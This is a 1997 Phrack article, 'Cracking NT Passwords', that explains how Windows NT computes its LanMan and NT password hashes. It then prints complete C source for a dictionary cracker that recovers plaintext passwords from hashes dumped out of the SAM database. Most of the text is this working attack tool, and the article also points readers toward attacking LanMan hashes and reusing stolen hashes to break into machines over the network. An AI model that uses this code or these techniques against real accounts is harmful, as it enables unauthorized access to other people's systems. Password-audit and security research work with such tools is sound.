home *** CD-ROM | disk | FTP | other *** search
- .oO Phrack 50 Oo.
-
- Volume Seven, Issue Fifty
-
- 8 of 16
-
- Cracking NT Passwords
- by Nihil
-
- Recently a breakthrough was made by one of the Samba team members, Jeremy
- Allison, that allows an administrator to dump the one-way functions (OWF)
- of the passwords for each user from the Security Account Manager (SAM)
- database, which is similar to a shadowed password file in *nix terms. The
- program Jeremy wrote is called PWDUMP, and the source can be obtained from
- the Samba team's FTP server. This is very useful for administrators of
- Samba servers, for it allows them to easily replicate the user database
- from Windows NT machines on Samba servers. It also helps system
- administrators and crackers in another way: dictionary attacks against
- user's passwords. There is more, but I will save that for later.
-
- Windows NT stores two hashes of a user's password in general: the LanMan
- compatible OWF and the NT compatible OWF. The LanMan OWF is generated by
- limiting the user's password to 14 characters (padding with NULLs if it is
- shorter), converting all alpha characters to uppercase, breaking the 14
- characters (single byte OEM character set) into two 7 byte blocks,
- expanding each 7 byte block into an 8 byte DES key with parity, and
- encrypting a known string, {0xAA,0xD3,0xB4,0x35,0xB5,0x14,0x4,0xEE}, with
- each of the two keys and concatenating the results. The NT OWF is created
- by taking up to 128 characters of the user's password, converting it to
- unicode (a two byte character set used heavily in NT), and taking the MD4
- hash of the string. In practice the NT password is limited to 14
- characters by the GUI, though it can be set programmatically to something
- greater in length.
-
- The demonstration code presented in this article does dictionary attacks
- against the NT OWF in an attempt to recover the NT password, for this is
- what one needs to actually logon to the console. It should be noted that
- it is much easier to brute force the LanMan password, but it is only used
- in network authentication. If you have the skillz, cracking the LanMan
- password can take you a long way towards cracking the NT password more
- efficently, but that is left as an exercise for the reader ;>
-
- For those readers wit da network programming skillz, the hashes themselves
- are enough to comprimise a NT machine from the network. This is so because
- the authentication protocol used in Windows NT relies on proof of the OWF
- of the password, not the password itself. This is a whole other can of
- worms we won't get into here.
-
- The code itself is simple and pretty brain dead. Some Samba source was
- used to speed up development time, and I would like to give thanks to the
- Samba team for all their effort. Through the use of, and study of, Samba
- several interesting security weaknesses in Windows NT have been uncovered.
- This was not the intent of the Samba team, and really should be viewed as
- what it is - some lame security implementations on Microsoft's part. Hey,
- what do you expect from the people that brought you full featured (not in a
- good way, mind you) macro languages in productivity applications?
-
- You will need md4.c, md4.h, and byteorder.h from the Samba source
- distribution inorder to compile the code here. It has been compiled and
- tested using Visual C++ 4.2 on Windows NT 4.0, but I see no reason why it
- should not compile and run on your favorite *nix platform. To truly be
- useful, some code should be added to try permutations of the dictionary
- entry and user name, but again, that is up to the reader.
-
- One note: You will want to remove 3 lines from md4.c: the #ifdef SMB_PASSWD
- at the top and corresponding #else and #endif at the bottom...
-
- Here ya go:
-
- <++> NTPWC/ntpwc.c
- /*
- * (C) Nihil 1997. All rights reserved. A Guild Production.
- *
- * This program is free for commercial and non-commercial use.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted.
- *
- * THIS SOFTWARE IS PROVIDED BY NIHIL ``AS IS'' AND
- * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
- * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
- * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
- * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
- * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
- * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
- * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
- * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
- * SUCH DAMAGE.
- *
- */
-
- /* Samba is covered by the GNU GENERAL PUBLIC LICENSE Version 2, June 1991 */
-
-
- /* dictionary based NT password cracker. This is a temporary
- * solution until I get some time to do something more
- * intelligent. The input to this program is the output of
- * Jeremy Allison's PWDUMP.EXE which reads the NT and LANMAN
- * OWF passwords out of the NT registry and a crack style
- * dictionary file. The output of PWDUMP looks
- * a bit like UNIX passwd files with colon delimited fields.
- */
-
- #include <stdio.h>
- #include <stdlib.h>
- #include <string.h>
- #include <ctype.h>
-
- /* Samba headers we use */
- #include "byteorder.h"
- #include "md4.h"
-
- #define TRUE 1
- #define FALSE 0
- #define HASHSIZE 16
-
- /* though the NT password can be up to 128 characters in theory,
- * the GUI limits the password to 14 characters. The only way
- * to set it beyond that is programmatically, and then it won't
- * work at the console! So, I am limiting it to the first 14
- * characters, but you can change it to up to 128 by modifying
- * MAX_PASSWORD_LENGTH
- */
- #define MAX_PASSWORD_LENGTH 14
-
- /* defines for Samba code */
- #define uchar unsigned char
- #define int16 unsigned short
- #define uint16 unsigned short
- #define uint32 unsigned int
-
- /* the user's info we are trying to crack */
- typedef struct _USER_INFO
- {
- char* username;
- unsigned long ntpassword[4];
-
- }USER_INFO, *PUSER_INFO;
-
- /* our counted unicode string */
- typedef struct _UNICODE_STRING
- {
- int16* buffer;
- unsigned long length;
-
- }UNICODE_STRING, *PUNICODE_STRING;
-
- /* from Samba source cut & pasted here */
- static int _my_mbstowcs(int16*, uchar*, int);
- static int _my_wcslen(int16*);
-
- /* forward declarations */
- void Cleanup(void);
- int ParsePWEntry(char*, PUSER_INFO);
-
- /* global variable definition, only reason is so we can register an
- * atexit() fuction to zero these for paranoid reasons
- */
- char pPWEntry[258];
- char pDictEntry[129]; /* a 128 char password? yeah, in my wet dreams */
- MDstruct MDContext; /* MD4 context structure */
-
-
- int main(int argc,char *argv[])
- {
- FILE *hToCrack, *hDictionary;
- PUSER_INFO pUserInfo;
- PUNICODE_STRING pUnicodeDictEntry;
- int i;
- unsigned int uiLength;
-
- /* register exit cleanup function */
- atexit(Cleanup);
-
- /* must have both arguments */
- if (argc != 3)
- {
- printf("\nUsage: %s <password file> <dictionary file>\n", argv[0]);
- exit(0);
- }
-
- /* open password file */
- hToCrack = fopen(argv[1], "r");
- if (hToCrack == NULL)
- {
- fprintf(stderr,"Unable to open password file\n");
- exit(-1);
- }
-
- /* open dictionary file */
- hDictionary = fopen(argv[2], "r");
- if (hDictionary == NULL)
- {
- fprintf(stderr,"Unable to open dictionary file\n");
- exit(-1);
- }
-
- /* allocate space for our user info structure */
- pUserInfo = (PUSER_INFO)malloc(sizeof (USER_INFO));
- if (pUserInfo == NULL)
- {
- fprintf(stderr,"Unable to allocate memory for user info structure\n");
- exit(-1);
- }
-
- /* allocate space for unicode version of the dictionary string */
- pUnicodeDictEntry = (PUNICODE_STRING)malloc(sizeof (UNICODE_STRING));
- if (pUnicodeDictEntry == NULL)
- {
- fprintf(stderr,"Unable to allocate memory for unicode conversion\n");
- free(pUserInfo);
- exit(-1);
- }
-
- /* output a banner so the user knows we are running */
- printf("\nCrack4NT is running...\n");
-
- /* as long as there are entries in the password file read
- * them in and crack away */
- while (fgets(pPWEntry, sizeof (pPWEntry), hToCrack))
- {
- /* parse out the fields and fill our user structure */
- if (ParsePWEntry(pPWEntry, pUserInfo) == FALSE)
- {
- continue;
- }
-
- /* reset file pointer to the beginning of the dictionary file */
- if (fseek(hDictionary, 0, SEEK_SET))
- {
- fprintf(stderr,"Unable to reset file pointer in dictionary\n");
- memset(pUserInfo->ntpassword, 0, HASHSIZE);
- free(pUserInfo);
- free(pUnicodeDictEntry);
- exit(-1);
- }
-
- /* do while we have new dictionary entries */
- while (fgets(pDictEntry, sizeof (pDictEntry), hDictionary))
- {
- /* doh...fgets is grabbing the fucking newline, how stupid */
- if (pDictEntry[(strlen(pDictEntry) - 1)] == '\n')
- {
- pDictEntry[(strlen(pDictEntry) - 1)] = '\0';
- }
-
- /* the following code is basically Jeremy Allison's code written
- * for the Samba project to generate the NT OWF password. For
- * those of you who have accused Samba of being a hacker's
- * paradise, get a fucking clue. There are parts of NT security
- * that are so lame that just seeing them implemented in code
- * is enough to break right through them. That is all that
- * Samba has done for the hacking community.
- */
-
- /* Password cannot be longer than MAX_PASSWORD_LENGTH characters */
- uiLength = strlen((char *)pDictEntry);
- if(uiLength > MAX_PASSWORD_LENGTH)
- uiLength = MAX_PASSWORD_LENGTH;
-
- /* allocate space for unicode conversion */
- pUnicodeDictEntry->length = (uiLength + 1) * sizeof(int16);
-
- /* allocate space for it */
- pUnicodeDictEntry->buffer = (int16*)malloc(pUnicodeDictEntry->length);
- if (pUnicodeDictEntry->buffer == NULL)
- {
- fprintf(stderr,"Unable to allocate space for unicode string\n");
- exit(-1);
- }
-
- /* Password must be converted to NT unicode */
- _my_mbstowcs( pUnicodeDictEntry->buffer, pDictEntry, uiLength);
- /* Ensure string is null terminated */
- pUnicodeDictEntry->buffer[uiLength] = 0;
-
- /* Calculate length in bytes */
- uiLength = _my_wcslen(pUnicodeDictEntry->buffer) * sizeof(int16);
-
- MDbegin(&MDContext);
- for(i = 0; i + 64 <= (signed)uiLength; i += 64)
- MDupdate(&MDContext,pUnicodeDictEntry->buffer + (i/2), 512);
- MDupdate(&MDContext,pUnicodeDictEntry->buffer + (i/2),(uiLength-i)*8);
-
- /* end of Samba code */
-
- /* check if dictionary entry hashed to the same value as the user's
- * NT password, if so print out user name and the corresponding
- * password
- */
- if (memcmp(MDContext.buffer, pUserInfo->ntpassword, HASHSIZE) == 0)
- {
- printf("Password for user %s is %s\n", pUserInfo->username, \
- pDictEntry);
- /* we are done with the password entry so free it */
- free(pUnicodeDictEntry->buffer);
- break;
- }
-
- /* we are done with the password entry so free it */
- free(pUnicodeDictEntry->buffer);
- }
- }
-
- /* cleanup a bunch */
- free(pUserInfo->username);
- memset(pUserInfo->ntpassword, 0, HASHSIZE);
- free(pUserInfo);
- free(pUnicodeDictEntry);
-
- /* everything is great */
- printf("Crack4NT is finished\n");
- return 0;
- }
-
- void Cleanup()
- {
- memset(pPWEntry, 0, 258);
- memset(pDictEntry, 0, 129);
- memset(&MDContext.buffer, 0, HASHSIZE);
- }
-
-
- /* parse out user name and OWF */
- int ParsePWEntry(char* pPWEntry, PUSER_INFO pUserInfo)
- {
- int HexToBin(char*, uchar*, int);
-
- char pDelimiter[] = ":";
- char* pTemp;
- char pNoPW[] = "NO PASSWORD*********************";
- char pDisabled[] = "********************************";
-
- /* check args */
- if (pPWEntry == NULL || pUserInfo == NULL)
- {
- return FALSE;
- }
-
- /* try and get user name */
- pTemp = strtok(pPWEntry, pDelimiter);
- if (pTemp == NULL)
- {
- return FALSE;
- }
-
- /* allocate space for user name in USER_INFO struct */
- pUserInfo->username = (char*)malloc(strlen(pTemp) + 1);
- if (pUserInfo->username == NULL)
- {
- fprintf(stderr,"Unable to allocate memory for user name\n");
- return FALSE;
- }
-
- /* get the user name into the USER_INFO struct */
- strcpy(pUserInfo->username, pTemp);
-
- /* push through RID and LanMan password entries to get to NT password */
- strtok(NULL, pDelimiter);
- strtok(NULL, pDelimiter);
-
- /* get NT OWF password */
- pTemp = strtok(NULL, pDelimiter);
- if (pTemp == NULL)
- {
- free(pUserInfo->username);
- return FALSE;
- }
-
- /* do a sanity check on the hash value */
- if (strlen(pTemp) != 32)
- {
- free(pUserInfo->username);
- return FALSE;
- }
-
- /* check if the user has no password - we return FALSE in this case to avoid
- * unnecessary crack attempts
- */
- if (strcmp(pTemp, pNoPW) == 0)
- {
- printf("User %s has no password\n", pUserInfo->username);
- return FALSE;
- }
-
- /* check if account appears to be disabled - again we return FALSE */
- if (strcmp(pTemp, pDisabled) == 0)
- {
- printf("User %s is disabled most likely\n", pUserInfo->username);
- return FALSE;
- }
-
- /* convert hex to bin */
- if (HexToBin((unsigned char*)pTemp, (uchar*)pUserInfo->ntpassword,16) == FALSE)
- {
- free(pUserInfo->username);
- return FALSE;
- }
-
- /* cleanup */
- memset(pTemp, 0, 32);
-
- return TRUE;
- }
-
-
- /* just what it says, I am getting tired
- * This is a pretty lame way to do this, but it is more efficent than
- * sscanf()
- */
- int HexToBin(char* pHexString, uchar* pByteString, int count)
- {
- int i, j;
-
- if (pHexString == NULL || pByteString == NULL)
- {
- fprintf(stderr,"A NULL pointer was passed to HexToBin()\n");
- return FALSE;
- }
-
- /* clear the byte string */
- memset(pByteString, 0, count);
-
- /* for each hex char xor the byte with right value, we are targeting
- * the low nibble
- */
- for (i = 0, j = 0; i < (count * 2); i++)
- {
- switch (*(pHexString + i))
- {
- case '0': pByteString[j] ^= 0x00;
- break;
-
- case '1': pByteString[j] ^= 0x01;
- break;
-
- case '2': pByteString[j] ^= 0x02;
- break;
-
- case '3': pByteString[j] ^= 0x03;
- break;
-
- case '4': pByteString[j] ^= 0x04;
- break;
-
- case '5': pByteString[j] ^= 0x05;
- break;
-
- case '6': pByteString[j] ^= 0x06;
- break;
-
- case '7': pByteString[j] ^= 0x07;
- break;
-
- case '8': pByteString[j] ^= 0x08;
- break;
-
- case '9': pByteString[j] ^= 0x09;
- break;
-
- case 'a':
- case 'A': pByteString[j] ^= 0x0A;
- break;
-
- case 'b':
- case 'B': pByteString[j] ^= 0x0B;
- break;
-
- case 'c':
- case 'C': pByteString[j] ^= 0x0C;
- break;
-
- case 'd':
- case 'D': pByteString[j] ^= 0x0D;
- break;
-
- case 'e':
- case 'E': pByteString[j] ^= 0x0E;
- break;
-
- case 'f':
- case 'F': pByteString[j] ^= 0x0F;
- break;
-
- default: fprintf(stderr,"invalid character in NT MD4 string\n");
- return FALSE;
- }
-
- /* I think I need to explain this ;) We want to incremet j for every
- * two characters from the hex string and we also want to shift the
- * low 4 bits up to the high 4 just as often, but we want to alternate
- * The logic here is to xor the mask to set the low 4 bits, then shift
- * those bits up and xor the next mask to set the bottom 4. Every 2
- * hex chars for every one byte, get my screwy logic? I never was
- * good at bit twiddling, and sscanf sucks for efficiency :(
- */
- if (i%2)
- {
- j ++;
- }
- if ((i%2) == 0)
- {
- pByteString[j] <<= 4;
- }
- }
-
- return TRUE;
- }
-
-
- /* the following functions are from the Samba source, and many thanks to the
- * authors for their great work and contribution to the public source tree
- */
-
- /* Routines for Windows NT MD4 Hash functions. */
- static int _my_wcslen(int16 *str)
- {
- int len = 0;
- while(*str++ != 0)
- len++;
- return len;
- }
-
- /*
- * Convert a string into an NT UNICODE string.
- * Note that regardless of processor type
- * this must be in intel (little-endian)
- * format.
- */
- static int _my_mbstowcs(int16 *dst, uchar *src, int len)
- {
- int i;
- int16 val;
-
- for(i = 0; i < len; i++) {
- val = *src;
- SSVAL(dst,0,val);
- dst++;
- src++;
- if(val == 0)
- break;
- }
- return i;
- }
- <--> NTPWC/ntpwc.c
-
- EOF
-